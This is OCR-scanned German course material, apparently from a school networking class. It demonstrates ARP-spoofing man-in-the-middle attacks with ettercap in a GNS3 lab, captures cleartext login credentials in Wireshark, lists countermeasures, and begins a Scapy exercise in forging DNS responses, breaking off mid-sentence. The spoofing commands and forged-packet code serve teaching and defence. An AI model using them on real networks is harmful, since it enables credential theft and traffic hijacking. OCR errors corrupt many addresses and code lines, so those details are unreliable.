172.16.1.66 Ox1 Ox2 Oc:cd:f0:af:00:66 * br-lan
192.168.0.100 Ox1 Ox2 Oc:6a:7a:ee:00:00 * ethl
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Eine weitere Méglichkeit die GNS3 bietet, ist die Uberwachung von Verbindungen mit
Hilfe eines Wireshark-Mitschnitts. Dazu per Rechtsklick auf die entsprechende
Verbindung klicken und ,Start capture” auswahlen. Die mitgesniffte Verbindung wird
mittels Lupe dargestellt.

Switch +e° switch 4 o9
LAN LAN
->
<3 &
&=
‘B\ Routerl QA' 2 ‘a
e
Router1 .5 » . Start capture e2 .5 ®
Y Packet filters
"7 Suspend e0
X Style
[Z] Delete 11 e0
PC1 PC1

> Frame 17: 42 bytes on wire (336 bits), 42 bytes captured (336 bits) on interface -, id @
> Ethernet II, Src: @c:cd:f@:af:@0:66 (@c:cd:f@:af:00:66), Dst: @c:ad:b4:b6:00:00 (@c:ad:bs:b6:00:00)
# Address Resolution Protocol (reply)
Hardware type: Ethernet (1)
Protocol type: IPv4 (©x0@8@0)
Hardware size: 6
Protocol size: 4
_Opcode: reply (2)
Sender MAC address: @c:cd:f@:af:00:66 (@c:cd:fe:af:00:66)
Sender IP address: 172.16.1.1
Target MAC address: @c:ad:b4:b6:00:20 (@c:ad:b4:b6:00:00)
Target IP address: 172.16.1.5

Im Mitschnitt ist erkennbar, dass die MAC des Angreifers (Oc:cd:f0:af:00:66) zur MAC
vom Gateway gedndert wurde.

Hinweis:

Wireshark, kann alternativ auf dem jeweiligen Endgerat installiert und betrieben
werden.
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Auslesen von unverschliisselten Login-Daten

Des Weiteren ist es moglich mit dem ettercap unverschliisselte Anmeldedaten z.B. auf

einem http-Server auszulesen. In unserem Beispiel meldet sich PC1 am HTTP-Server
an.

HTTP-Server

WAN .100 | €0

.‘1%

ell.l

Gateway
A
"4
el

172.16.1.0/24

Switc el /

LAN

192.168.0.0/24

h
.
(_-)
Routerl B el eanqrﬁﬁer
- w D
A1 ¢ e
PC1

angreifer@debian:~$ sudo ettercap -T -i ens4 -M arp:remote //172.16.1.11//
//192.168.0.100//
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Hinweis:

Uber den Anzeigefilter und folgenden Ausdruck, lassen sich die betreffenden Frames
schnell finden:

M *Standard input [HTTP-Server Ethernetl) to Gateway Ett

Datei  Bearbeiten Ansicht Mavigation Aufzeichnen

d m @ QR &= =

Der Wireshark Mitschnitt zeigt, dass die Login-Daten im Klartext Gibertragen werden.

M “Standard input [HTTP-Server Ethernet0 to Gateway Ethernetl] - D X

Datei Bearbeiten Ansicht Mavigation Aufzeichnen  Analyse  Statistiken Telephonie Wireless  Tools  Hilfe

dm @ BRE ]+ TeZlEaaaBEH

[M] Anzeigefilter anwenden .. <Ctrl-r 3 -]+
Nao. Time Source Destination Protocol Lengtl Info
487 12.668720 192.168.0.100 192.168.8.1 TcP 66 [TCP Keep-Alive] 88 - 50702 [ACK] Seq=133497 Ack=5539 Win=64080 Len=8 TSval=3958059261..
489 12.669816 192.168.8.1 192.168.8.160 TCP 66 [TCP Keep-Alive ACK] 58782 + 88 [ACK] Seq=5539 Ack=133498 Win=195848 Len=8 TSval=21470..
494 13.788676 192.168.08.100 192.168.8.1 TCP 66 [T(F KEEp-Ali\IE] 88 + 50782 [A(K] 5eq=133497 Ack=5539 Win=64088 Len=8 TSval=395806@30L..
496 13.709995 192.168.9.1 192.168.0.100 TcP 66 [TCP Keep-Alive ACK] 50762 + 80 [ACK] 5eq=5539 Ack=133498 Win=195848 Len=8 TSval=21782.
503 14.748693 192.168.0.100 192.168.8.1 TCP 66 [TCP Keep-Alive] 88 - 50702 [ACK] Seq=133497 Ack=5539 Win=6498@ Len=8 TSval=395806134L. —
585 14.749902 192.168.8.1 192.168.8.100 TCP 66 [T(F KEEp-Ali\IE A(K] 58782 + 8@ [I—\(K] 5eq=5539 Ack=133498 Win=19584@ Len=0 TSval=22094..
510 15.770907 192.168.0.1 192.168.0.100 HTTP 514 POST /cgi-bin/luci/ HTTP/L.1 (application/x-www-form-urlencoded)
511 15.781139 192.168.08.180 192.168.8.1 TCcP 142 88 » 58782 [PSH) A(K] Seq=133498 Ack=5987 Win=64888 Len=76 TSval=3958862373 TSecr=2248..
Caciel L : 2 r
> Frame 51@: 514 bytes on wire (4112 bits), 514 bytes captured (4112 bits) on int @c 20 ed 7b @@ @@ 6c 7b 2f 70 00 01 @8 @0 45 00 Y{ - {/yE
> Ethernet IT, Src: @c:7b:2f:79:080:01 (@c:7b:2f:79:00:01), Dst: Bc:29:08d:7b:00:00 @l f4 3a 3e 40 90 3T 06 7e 10 @ a8 00 01 c@ ad @ o~
> Internet Protocol Version 4, Src: 192.168.8.1, Dst: 192.168.9.100 ?: : ;: g: £ ;g ;i ;i ;; ;: g; ;; ‘5“; ;; zg li d M P& :
> Transmission Control Pmto:ol, Src Port: 58782, Dst Port: 88, Seq: 5539, Ack: 1 18 af 50 4f 53 54 28 2f 63 67 69 2d 62 69 Be I POST / cgi-bin/
6C 75 63 69 2f 20 45 54 54 50 2f 31 2e 31 6d @a  luci/ HT TP/1.1
[HTHL Form URL Encoded: application/x-www-forn-urlencoded 48 6f 73 74 3a 20 31 39 32 2e 31 36 38 2e 38 2e  Host: 19 2.168.0.
> Form item: "luci_username” = "cisco” 31 36 38 @d @a 55 73 65 72 2d 41 67 65 G6e 74 3a 188 -Use r-Agent:
> Form item: "luci password” = "cisco” 20 4d 6f 7a 69 6c 6c 61 2f 35 2e 30 20 28 58 31  Mozilla /5.8 (X1
31 3b 20 4c 69 6e 75 78 20 69 36 3B 36 3b 20 72 1; Linux 1686; r

76 3a 33 33 2e 3@ 20 20 47 65 63 6b 6f 2f 32 38 v:33.8) Gecko/2@
31 36 38 31 38 31 28 46 69 72 65 66 6 78 2f 33 180101 F irefox/3
33 2= 30 ©d @a 41 63 63 65 70 74 3a 28 74 65 78 3.0 -Acc ept: tex
74 2f 68 74 6d 6c 2c 61 7@ 70 6c 69 63 61 74 69 t/html,a pplicati
6f 6e 2f 78 68 74 6d 6c 2b 78 6d 6c 2c 61 7@ 7@  on/xhtml +xml,app
6c 69 63 61 74 69 6F 6e 2f 78 6d 6c 3b 71 3d 30 lication /xml;q=6
2e 39 2c 2a 2f 2a 3b 71 3d 30 2e 38 @d @3 41 63  .9,%/*;q =0.8 -Ac
63 65 7@ 74 2d 4c 61 62 67 75 61 67 65 3a 20 65  cept-lan guage:
Ge 2d 55 53 2c 65 6e 3b 71 3d 3@ 2e 35 @d @a 41 n-US,en; g=0.5 ‘A
63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 3a 20 ccept-En coding:
67 7a 69 70 2c 20 64 65 66 6c 61 74 65 @d @a 52 grip, de flate ‘R
65 66 65 72 65 72 3a 20 68 74 74 70 3a 2f 2f 31 eferer: http://1
39 32 2e 31 36 38 2e 3@ 2e 31 3@ 30 2f 63 67 69  92.168.0 .100/cgi
2d 62 69 Be 2f 6c 75 63 69 2f 8d @a 43 6f 6e 6e  -bin/luc i/ -Conn
65 63 74 69 6F 62 3a 26 6b 65 65 70 2d 61 6c 69 ection: keep-ali
76 65 @d ©a 43 6f 62 74 65 6e 74 2d 54 79 70 65 ve -Cont ent-Type
3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d  : applic ation/x-
77 77 77 2d 66 6f 72 6d 2d 75 72 6c 65 6e 63 6f www-form -urlenco
64 65 64 ©d Ba 43 6F 6e 74 65 6e 74 2d 4c 65 6e  ded -Con tent-Len
o1de 33 28 od 0a [ gth: 39
aled 2 ] username -ciscod:
elfe i word=cis|
8200

© 7 HIML Form URL Encoded (urlencoded-form), 39 Bytes Pakete: 968 - Angezeigt: 332 (34.3%). Verworfen: 0 (0.0%) || Profil: Default

Alternativ kann auch Uber den Anzeigefilter wie folgt nach dem Passwort gefiltert
werden: Flihren Sie nun eine Suche nach der Zeichenfolge ,cisco” in den erfassten
Paketdetails durch, indem Sie ein Paket auswahlen, das fiir 192.168.0.100 bestimmt ist
und von 192.168.0.1 kommt. Die Tasten STRG+F driicken oder im Menii ,Bearbeiten” >
»Paket suchen” auswahlen. Sie sollten die Dropdown-Mendis , Paketliste” und
»Anzeigefilter” unterhalb des http-Filters sehen:

Klicken Sie anschlieRend auf , Anzeigefilter” und wahlen Sie ,Zeichenkette” (engl.
String) aus. Klicken Sie dann auf ,Paketliste” und wahlen Sie ,Paketdetails” aus der
Dropdown-Liste aus. Geben Sie das Wort ,,cisco” in den Anzeigefilter ein. Ihr Bildschirm
sollte nun in etwa wie in der Abbildung aussehen.
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M *Standard input [HTTP-Server Ethernet() to Gateway Ethernetl] = m] be
Datei Bearbeiten Ansicht Mavigation Aufzeichnen Analyse  Statistiken Telephonie Wireless Tools Hilfe
dmg@ RRE RezEP eElEaaaaHEmH
[ [ipaddr eq 192.168.0.1 and ip.addr eq 192.168.0.100 and htp <] -+
Paketdetails Zeichenkette ~ c\scd Finden Abbrechen
Optionen: Schrmal & breit (] GroB-  Kleinschreibung beachten [ Riickwsrts () Mehreres Vorkemmen
No. Time Source Destination Protocol Lengtl Info
‘ 433 6.396736 192.165.0.168 192.168.0.1 HTTP 262 HTTP/1.1 384 Not Modified
434 6.396783 192.168.0.168 192.168.8.1 HTTP 262 HTTP/1.1 384 Not Modified
437 6.406711 192.168.9.1 192.168.8.100 HTTP 551 GET /luci-static/resources/view/bootstrap/sysauth.js?v=git-23.236.53485-fc638c8 HTTP/L.
449 6.446665 192.168.0.108 192.168.8.1 HTTP 201 HTTP/1.1 384 Not Modified |
518 15.77@967 192.168.9.1 192.168.0.100 HTTP 514 POST /cgi-bin/luci/ HTTP/1.1 (application/x-www-form-urlencoded)
516 15.782722 192.165.0.168 192.168.0.1 HTTP 403 HTTP/1.1 483 Forbidden (text/html)

Dieses Beispiel zeigt, wie einfach es ist, bei einem Man-in-the-middle-Angriff
vertrauliche Informationen aus dem Netzwerk zu stehlen, wenn das Opfer unsichere
und unverschlisselte Protokolle wie HTTP oder Telnet verwendet.

Hinweis:

Auch wenn ein Man-in-the-middle-Angriff-Angriffsknoten in der Lage ist, Pakete mit
sicheren Protokollen wie HTTPS, SSH und anderen zu erfassen, ist er nicht in der Lage,
die Daten zu entschliisseln. Pakete werden einfach tber den Angreifer geleitet, aber
die sichere Verbindung wird durchgehend zwischen dem Client und dem Server

hergestellt.
Hinweis:

Driicken Sie in der Konsolen- (Shell-) Sitzung von mitm die Tastenkombination STRG+C,
um die Ettercap-Sitzung zu beenden, bevor Sie mit dem nachsten Schritt fortfahren.
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ARP-Spoofing eindammen

Statische ARP-Tabellen

Eine Moglichkeit, ARP-Spoofing-Angriffe einzudammen, besteht darin, statische ARP-
Eintrage fur Netzwerkgerate im gesamten Netzwerk einzugeben. Sie kdnnen einen
statischen ARP-Eintrag hinzufiigen, der Vorrang vor den dynamisch erlernten ARP-
Informationen hat, um falsche ARP-Informationen in der lokalen ARP-Tabelle eines
Routers bzw. Netzwerkgerats zu verweigern.

Fligen Sie den statischen ARP-Eintrag flir das Gateway auf Routerl hinzu und
Uberprifen Sie anschlieRend die ARP-Tabelle.

Zum Beispiel liber den entsprechenden Eintrag in der/etc/config/network.

[...]

config neighbor
option interface 'lan’
option ipaddr '172.16.1.1'
option mac ' Oc:3a:e2:8e:00:00 '

[...]

angreifer@debian:~$ sudo ettercap -T -i ens4 -M arp:remote //172.16.1.5//
//172.16.1.1//

Der ettercap Befehl wird nun wieder vom Angreifer aus ausgefiihrt mit dem Ziel die
ARP-Eintrage fir den das Gateway und den Routerl zu ,vergiften®.

root@Gateway:/# arp -a

IPaddress HWtype Flags HW address Mask Device
172.16.1.5 0x1 0x2 0c:17:98:af:00:66 * br-lan
172.16.1.66 Ox1 Ox2 0c:17:98:af:00:66 * br-lan
192.168.0.100 Ox1 Ox2 0c:55:1b:10:00:00 * ethl

Das Gateway hat keine statischen ARP-Eintrage, daher ist der Angreifer hier erfolgreich
und die MAC-Adresse von ihm konnte dem 172.16.1.5 zugeordnet werden.

root@routerl:~# arp -a

IPaddress HWtype Flags HW address Mask Device
172.16.1.11 0Ox1 0x2 00:00:00:00:00:11 * br-lan
172.16.1.66 0Ox1 0Ox2 0c:17:98:af:00:66  * br-lan

172.16.1.1 0x1 0x6 Oc:3a:e2:8e:00:00 * br-lan
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Beim Routerl wurde eine statische MAC-Adresse fir das Gateway hinterlegt (s.o.).
Daher kann die MAC-Adresse nicht durch den Angreifer geandert werden.

Die statische ARP-Methode ist zwar sicher, hat aber einige gravierende Nachteile, da
sie dezentralisiert und fehleranfallig ist und in grofen Netzwerken praktisch nicht
verwaltet werden kann.

Switch-Sicherheit

Es gibt dariiber hinaus die Funktionalitit der dynamischen ARP-Uberpriifung bei
Switchen. Je nach Hersteller werden verschiedene Namen fir diese Funktionalitat
verwendet:

- Cisco: Dynamic ARP Inspection (DAI)
- Juniper: ARP Spoofing Protection

- HP/Aruba: ARP Protection

- MikroTik: ARP Spoofing Prevention
- Fortinet: ARP Spoofing Prevention

Dynamic ARP Inspection liberprift ARP-Pakete die von nicht vertrauenswiirdigen
Switchports empfangen werden und gleicht sie mit einer vertrauenswirdigen MAC-zu-
IP-Port-Adressbindungstabelle (DHCP-Snooping-Table/Binding Database) ab. Bei
Abweichungen werden die ARP-Pakete verworfen.

Physische Sicherheit

- Zugang zum Netzwerk (technische organisatorische MalRnahmen: Zugang und
Zugriff zum Netz absichern)

- Begrenzung der WLAN-Reichweite (entsprechende Begrenzung nach auRen,
Absicherung durch verschlisselte Authentifizierung)

Netzwerksegmentierung

- ARP-Nachrichten sind auf eine Broadcastdomane begrenzt (z.B. VLANs)

Verschliisselung

- Verschlisselter Datenverkehr erschwert oder verhindert das Ausspdhen und
Missbrauch von Daten
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GOOD PRACTICE 02 — DNS-SPOOFING

DNS-Spoofing

19.12.2024
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Umgang mit Scapy

Zur Bearbeitung bendtigen wir SCAPY und WIRESHARK. Damit wir uns auf einfache
Weise mit beiden Werkzeugen vertraut machen kénnen, nutzen wir eine kleine
Voribung zum eingewdhnen und testen der Umgebung.

SCAPY l&sst sich einfach installieren, sofern PYTHON installiert ist. PYTHON ist
Voraussetzung und sollte vorinstalliert sein (Pfad, Pfadlange und Installation mit
Adminrechten bitte nutzen). SCAPY kann dann einfach nachinstalliert werden.

C:\...>pip install scapy

C:\Users\Standard>pip install scapy
Collecting scapy
Downloading scapy-2.6.1-py3-none-any.whl.metadata (5.6 kB)
Downloading scapy-2.6.1-py3-none-any.whl (2.4 MB)
2.4/2.4 MB 8.1 MB/s eta 0:00:00

Installing collected packages: scapy
Successfully installed scapy-2.6.1

[notice]l A new release of pip is available: 24.0 -> 24.3.1
[noticel To update, run: python.exe -m pip install —-upgrade pip

Sobald SCAPY installiert ist, lasst es sich in der Kommandozeile (CMD) mit dem Befehl
scapy ausfihren.

C:\...>scapy

C:\Users\Standard>scapy

INFO: Can't import PyX. Won't be able to use psdump() or pdfdump().

INFO: Can't import python-cryptography v1.7+. Disabled PKI & TLS crypto-related features.
INFO: Can't import python-cryptography v1.7+. Disabled WEP decryption/encryption. (Dotll)
INFO: Can't import python-cryptography v1.7+. Disabled IPsec encryption/authentication.

INFO: Using the default Python shell: History,Colors are disabled.

55>
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Als nachstes missen wir WIRESHARK auf dem Computer ausfihren. Und in der
Filterzeile auf ICMP (Internet Control und Message Protocol) beschranken. ICMP ist
besser durch eine Nachricht bekannt, welche einen anderen Computer eine Antwort
abverlangt: der Ping.

Fof

Colc ME QRes=2F 4==Eaaa B

(A iemp

MNo. Time Source Destination Protocol Lengtl Info

Nun brauchen wir noch die IP-Adresse eines Arbeitspartners, um uns gegenseitig auf
Netzwerkebene kleine Nachrichten zu schreiben. Sollte die Adresse nicht bekannt sein,
kann diese Uber ipconfig in der CMD abgefragt werden.

SCAPY ist nun in der Lage jegliche Netzwerkpakete nachzubauen und lGiber das Netzwerk
zu verschicken. SCAPY nutzt als Kommandozeile folgende Form:

Paket = Ether()/IP()/TCP()/DNS()

geordnet nach dem OSI-Schichtenmodell.

Daher kdnnen auch weitere Schichten an der richtigen Stelle aufgenommen werden. Mit
send(Paket) oder sendp(Paket) werden die fertigen Pakete dann abgeschickt. Nun ware
unser drittes Werkzeug am Zug: Ein LLM und der WIRESHARK.

Am besten schneiden wir mit dem WIRESHARK einfach eine ICMP-Nachricht mit und
ergrinden dessen Struktur.

Source Destination Protocol Lengtl Info
19.36.16.128 8.8.8.8 ICMP 74 Echo (ping) request id=8x@eel, seq=14/3584, ttl1=128 (reply in 19)
8.8.8.8 18.36.16.128 ICMP 74 Echo (ping) reply id=8xeeel, seq=14/3584, ttl=58 (request in 18)

Wir konnen nun selbst versuchen mit einzelnen Befehlen voranzukommen, oder einfach
den Umgang mit dem LLM (iben.

» Frame 18: 74 bytes on wire (592 bits), 74 bytes captured (592 bits) on interface \Device\NPF_{2476DF74-17AB-418C-B@B3-F4AS7ATGF4ACE}, id @
» Ethernet II, Src: Dell 52:cl:fd (7@:b5:e8:52:cl:fd), Dst: HuaweiTechno 7@:b6:82 (88:e4:86:78:b6:82)
» Internet Protocol Version 4, Src: 10.36.16.128, Dst: 8.8.8.8
¥ Internet Control Message Protocol
Type: & (Echo (ping) request)
Code: @
Checksum: @xd4d4d [correct]
[Checksum Status: Good]
Identifier (BE): 1 (@x@2@1)
Identifier (LE): 256 (@x@lee)
Sequence Number (BE): 14 (Bx888e)
Sequence Number (LE): 3584 (@x8edd)
Response frame: 19
v Data (32 bytes)
Data: 6162636465666768696a6b6cEdBe6T7R71727374757677616263646566676869
[Length: 32]
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Die Befehlssyntax sieht im Groben folgendermalen aus:

Paket = IP(dst="“)/ICMP()/“Text".

Die Zieladresse ,dst” sollte nun die Nachricht lesen konnen. Der Ziel-Host antwortet
auch auf die ICMP Anfrage, indem er den gesendeten Text zuriickschickt.

Ein Beispiel:
Wir schicken zum Host mit der IP 10.36.104.55 einen Ping. Und dann einen Ping mit Text.

>>> Paket = IP(dst="10.36.104.55“)/ICMP()

>>> send (Paket)
>>> Paket = IP(dst="10.36.104.55")/ICMP()
>>> send(Paket)
Sent 1 packets.
>>>
Ergebnis:
10.36.16.128 10.36.184.55 ICMP 42 Echo (ping) request id=@x@ese, seq=8/@, ttl=64 (reply in 46678)
16.36.164.55 16.36.16.128 ICMP 6@ Echo (ping) reply id=0x@080, seq=0/8, ttl=63 (request in 46677)

Und nun das Ganze mit einer ,persénlichen Nachricht:

>>> paket = IP(dst="10.36.104.55")/ICMP()/"Hallo, das ist mein erster Text den ich weltweit per ICMP verschicken kénnte"
>>> send(Paket)

Sent 1 packets.
>>>

Ergebnis:
78 b5 e8 52 cl1 fd @@ e4 ©6 70 b 82 B3 0@ 45 6@ p R P E
B3 69 35 35 @0 @8 3T 81 b9 &0 Ba 24 68 37 Ba 24 i55--7? T %h7-%
10 80 98 @8 72 eb 8@ @@ @8 @8 48 6l 6c bc BT 2c r Hallo,

26 64 51 73 28 B9 73 74 28 Bd B5 B9 Be 28 B5 T2 das ist mein er
73 74 65 72 28 54 65 78 74 28 64 65 Be 28 69 63 ster Tex t den ic
6B 28 77 65 6c 74 77 65 69 74 208 7@ 65 72 28 49 h weltwe it per I
43 4d 58 28 76 65 72 73 63 68 69 63 6b 65 6e 28 CMP wvers chicken
6b c3 b6 6e Be 74 65 k- nnte
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DNS-Request

Im nachsten Schritt machen wir uns mit dem DNS-Request vertraut und ergriinden
diesen im WIRESHARK. Hierfiir [6sen wir per CMD einen NSLOOKUP aus und d@ndern den
Filter im WIRESHARK auf ,,“dns”.

| |dns

Time Source Destination Protocol Lengtl Info

9.000000 10.36.16.128 3.8.8.8 DNS 73 Standard query @x8@86 A www.schule.de

@.833343 8.8.8.8 18.36.16.128 DNS 89 Standard query response @x@@@6 A www.schule.de A 8@.239.287.166

Dieser Ausschnitt zeigt den DNS-Request und die DNS-Response, dass beide
zusammengehoren erkennt man an der gleichen ID=0x0006. Im Detail sieht der DNS-
Request wie folgt aus:

Frame 1: 73 bytes on wire (584 bits), 73 bytes captured (584 bits) on interface \Device\NPF_{2476DF74-17AB-418C-BOB3-F4ASTATBF4CE}, id @
Ethernet II, Src: Dell 52:c1:fd (78:b5:e8:52:cl:fd), Dst: HuaweiTechno_78:b6:82 (89:e4:06:70:b6:02)
Internet Protocol Version 4, Src: 19.36.16.128, Dst: 8.3.8.8
User Datagram Protocol, Src Port: 56191, Dst Port: 53
Domain Name System (query)

Transaction ID: @x@@es
v Flags: @x@18@ Standard query

(looc cooo ccoo sooc = Response: Message is a query

Opcode: Standard query (@)
Truncated: Message is not truncated
Recursion desired: Do query recursively
Z: reserved (@)
Non-authenticated data: Unacceptable

v v v v

P
[l

® .
(]

Questions: 1
Answer RRs: @
Authority RRs: @
Additional RRs: @
¥ Queries
¥ www.schule.de: type A, class IN
Name: www.schule.de
[Name Length: 13]
[Label Count: 3]
Type: A (1) (Host Address)
Class: IN (@x@eel)
Response In: 2
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Das sind relativ viele Informationen, welche man in die Befehlszeilen bei SCAPY
eintragen misste. Hier kommt einem eine besondere Art von SCAPY sehr zu Hilfe,
namlich, dass nur Daten welche zwingend dem System bekannt gemacht werden
mussen (z.B. Ziel-IP) oder die Daten die ich absichtlich verandern mochte wirklich
eingegeben werden kénnen/missen. Die restlichen Daten erganzt SCAPY automatisch
aus den Systemdaten. Wir kénnen uns folglich schrittweise dem Ziel ndahern. Zuerst
sollte der DNS-Request mal funktionieren. Aus den Parametern zu DNS wahlen wir die
notigen aus:

e |P-Adresse vom DNS-Server und
e der angefragte Name (FQDN).
e den Rest fillt Scapy auf.

>>> Paket = IP(dst="8.8.8.8“)/UDP()/DNS(qd=DNSQR(qname="www.schule.de”))

>>> send (Paket)

>>> Paket = IP(dst="8.8.8.8")/UDP()/DNS(qd=DNSQR(gname="www.schule.de"))
>>> send(Paket)

Sent 1 packets.

>>> |
Ergebnis:
18.36.16.128 8.8.8.8 DNS 73 Standard query @x@8e8 A www.schule.de
8.8.8.8 18.36.16.128 DNS. 89 Standard query response @x@0808 A www.schule.de A 80.239.207.166

Der DNS-Server antwortet. Punkt 1 geschafft!
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DNS-Response

Nun wird es eine Stufe schwieriger. Wir muissen versuchen eine DNS-Response zu
erstellen. Hierfir missen wir den Wireshark-Ausschnitt gut studieren. Einige Punkte
mussen hier erfillt werden.

Beispielsweise wird die Anfrage wieder mitgeschickt und die Anzahl der Antworten (RR)
mit im Paket erfasst.

> Frame 2: 89 bytes on wire (712 bits), 89 bytes captured (712 bits) on interface ‘\Device\NPF_{2476DF74-17AB-418(-B8B3-F4AS/AVEF4(E}, id @
» Ethernet II, Src: HuaweiTechno_78:b6:82 (BB:e4:06:78:b6:82), Dst: Dell 52:cl:fd (78:b5:e8:52:cl:fd)
> Internet Protocol Version 4, Src: 8.8.8.8, Dst: 18.36.16.128
> User Datagram Protocol, Src Port: 53, Dst Port: 56191
~ Domain Name System (response)
Transaction ID: @x@@e6

¥ Flags: @x8188 Standard query response, No error
Response: Message is a response
Opcode: Standard query (@)
Authoritative: Server is not an autherity for domain
Truncated: Message is not truncated
....... 1 oo e Recursion desired: Do query recursively

@
wewon o

= Recursion available: Server can do recursive queries
= Z: reserved (@)
..8. .... = Answer authenticated: Answer/authority portion was not authenticated by the server
= Non-authenticated data: Unacceptable
ceas = Reply code: No error (@)
Questions: 1
Answer RRs: 1
Authority RRs: @
Additional RRs: @
~ Queries
¥ www.schule.de: type A, class IN
Name: www.schule.de
[Name Length: 13]
[Label Count: 3]
Type: A (1) (Host Address)
Class: IN (@x@e8l)
v Answers
~ www.schule.de: type A, class IN, addr 3@.239.287.166
Name: www.schule.de
Type: A (1) (Host Address)
Class: IN (Bx@esl)
Time to live: 3688 (1 hour)
Data length: 4
Address: 8@.239.287.166
Request In: 1
[Time: @.833348888 seconds]

Jedes dieser Felder existiert als Variable in SCAPY und kann mit Daten versehen werden.
Die Zusammenstellung der méglichen Variablen kann wiederum ein LLM leisten. Fangen
wir klein an:

Wir brauchen wieder das Ziel (hier der anfragende Host) und die Antwort an sich. Hierfir
ist nun ein Wissen lber den Forward-Resource-Record nétig. Bei uns Typ A = IPv4
Adresse. Der Eintrag sieht wie folgt aus: *?

www.example.com. 3688 IN A 172.27.171.1@6

Zwingend notwendig ist der Name (FQDN), die IP und die TTL.

1 https://de.wikipedia.org/wiki/A_Resource Record
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Diese Daten ergeben sich nicht zwangslaufig. IN hat keine echte Alternative und A-
Record ergibt sich aus der IPv4-Adresse. Daher versuchen wir die Antwort mit den
notigsten Informationen zu generieren.

>>> Paket = IP(dst="10.0.0.1")/UDP()/DNS(qr=1,
an=DNSRR(rrname="“www.schule.de”, rdata="10.0.0.2", tt|I=3600))

>>> send (Paket)

>>> Paket =IP(dst="10.0.0.1")/UDP()/ DNS(qr=1,an=DNSRR(rrname="www.schule.de." K rdata="10.0.0.2",6tt1=3600))
>>> send(Paket)

Sent 1 packets.
>>>

Ergebnis:

10.36.16.128 16.6.8.1 DNS 184 Standard query response @x@888 A www.example.com A 16.08.8.2

WIRESHARK erkennt unser Paket als DNS-Response. Allerdings hat er die verbliebenen
Felder nicht korrekt gefillt und im Text ist www.example.com erkennbar. Eigentlich

sollte die Antwort doch fir www.schule.de sein. Die Ursache erkennen wir, sobald wir

den kompletten Test des Pakets anschauen.

Frame 1583@: 184 bytes on wire (832 bits), 184 bytes captured (832 bits) on interface \Device\NPF_{2476DF74-17AB-418C-B@B3-F4ASTATEFACE}, id @
Ethernet II, Src: Dell 52:cl:fd (7@:b5:e8:52:cl:fd), Dst: HuaweiTechno_7@:b6:82 (@@:e4:06:78:b6:02)
Internet Protocol Version 4, Src: 10.36.16.128, Dst: 10.8.0.1
User Datagram Protocol, Src Port: 53, Dst Port: 53
Domain Name System (response)
Transaction ID: 8x2882
> Flags: @x818@ Standard query response, No error
Questions: 1
Answer RRs: 1
Authority RRs: @
Additional RRs: 8
~ Queries
v www.example.com: type A, class IN
Name: www.example.com
[Mame Length: 15]
[Label Count: 3]
Type: A (1) (Host Address)
Class: IN (@xeeel)
~ Answers
v www.schule.de: type A, class IN, addr 10.8.8.2
Name: www.schule.de
Type: A (1) (Host Address)
Class: IN (@xeeel)
Time to live: 3688 (1 hour)
Data length: 4
Address: 18.8.8.2
[Unsolicited: True]

Cv v

Die Felder waren schon korrekt, allerdings wird die komplette Anfrage nochmal
mitgeschickt. Diese Felder hat SCAPY mit Dummy-Feldern gefillt und als
www.example.com eingetragen. Dieser Fehler dirfte schnell korrigiert sein, indem

einfach die Anfrage nochmals eingefligt wird.


http://www.example.com/
http://www.schule.de/
http://www.example.com/

Der neue DNS-Request lautet nun:
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>>> Paket = IP(dst="10.0.0.1“)/UDP()/DNS(qd=DNSR(qgname="“www.schule.de”),
an=DNSRR(rrname="“www.schule.de”, rdata="10.0.0.2“, tt/=3600))

>>> send (Paket)

>>> Paket = IP(dst="10.0.6.1")/UDP()/ DNS(qd=DNSQR(gname="wuw.schule.de."), an=DNSRR(rrname="www.schule.de." rdata="10.0.0.2" tt1=3600))

>>> send(Paket)

Sent 1 packets.
>>>

Ergebnis:

18.36.16.128 l16.8.06.1 DNS

> Flags: @xBled Standard query
Questions: 1
Answer RRs: 1
Authority RRs: @
Additional RRs: @
% Queries
* www.schule.de: type A, class IN
Name: www.schule.de
[Name Length: 13]
[Label Count: 3]
Type: A (1) (Host Address)
Class: IN (@exeeal)
¥ Answers

182 Standard query 8x@8e8 A www.schule.de A 190.0.0.2

* www.schule.de: type A, class IN, addr 18.6.8.2

Name: www.schule.de

Type: A (1) (Host Address)
Class: IN (@x@eel)

Time to live: 3688 (1 hour)
Data length: 4

Address: 18.8.8.2
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Jetzt passt auch der DNS-Request. Die restlichen Felder missen nun auch noch
Uberprift und ggf. angepasst werden. Ein Feld ist hier besonders wichtig:

Die Transaction ID im Hexadezimalformat 0x0000. Aufgrund dieser ID erkennt der
anfragende Host die Zugehorigkeit der Antwort zu seiner Anfrage. Stimmt die ID nicht,
wird die Antwort nicht zugeordnet. Neue Anfrage mit weiteren Parametern:

>>> Paket = IP(dst="10.0.0.1“)/UDP()/DNS(id=0x1234, qr=1, aa=1,
qd=DNSQR(gqname=www.schule.de,qtype="A“),
an=DNSRR(rrname="“www.schule.de”, rdata=“10.0.0.2“, tt/=3600))

>>> send (Paket)

>>> Paket = IP(dst="10.0.0.1")/UDP()/ DNS(id=0x1234 qr=1,6aa=1,qd=DNSQR(qname="www.schule.de" qtype="A")
, an=DNSRR({rrname="www.schule.de" rdata="10.0.0.2", tt1=3600))
>>> send(Paket)

Sent 1 packets.
>>>


http://www.schule.de/
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Ergebnis:

“ Domain MName System (response)
Transaction ID: @x1234
v Flags: @x858@ Standard query response, No error
Tove vene wnas aaan = Response: Message is a response
B = Opcode: Standard query (@)
R = Authoritative: Server is an authority for domain
B = Truncated: Message is not truncated
B = Recursion desired: Do query recursively
B = Recursion available: Server can't do recursive gqueries
N - T = Z: reserved (@)
..B. .... = Answer authenticated: Answer/authority portion was not authenticated by the server
..® .... = Non-authenticated data: Unacceptable
peaa . @8e8 = Reply code: No error (@)
Questions: 1
Answer RRs: 1
Authority RRs: @
Additional RRs: @
¥ Queries
~ www.schule.de: type A, class IN
Name: www.schule.de
[Name Length: 13]
[Label Count: 3]
Type: A (1) (Host Address)
Class: IN (@xeaal)
¥ Answers
v www.schule.de: type A, class IN, addr 18.8.8.2
Name: www.schule.de
Type: A (1) (Host Address)
Class: IN (@xeaal)
Time to live: 36@@ (1 hour)
Data length: 4
Address: 18.8.8.2
[Unsclicited: True]

Die Transaction ID ist Gbernommen und unsere Antwort wird immer besser. Das kdnnen
wir nun weiter betreiben, bis alle Felder mit eigenen Werten fir die Variablen besetzt
sind. Allerdings geht das dann an unserem Ziel vorbei DNS-Spoofing zu betreiben. Die
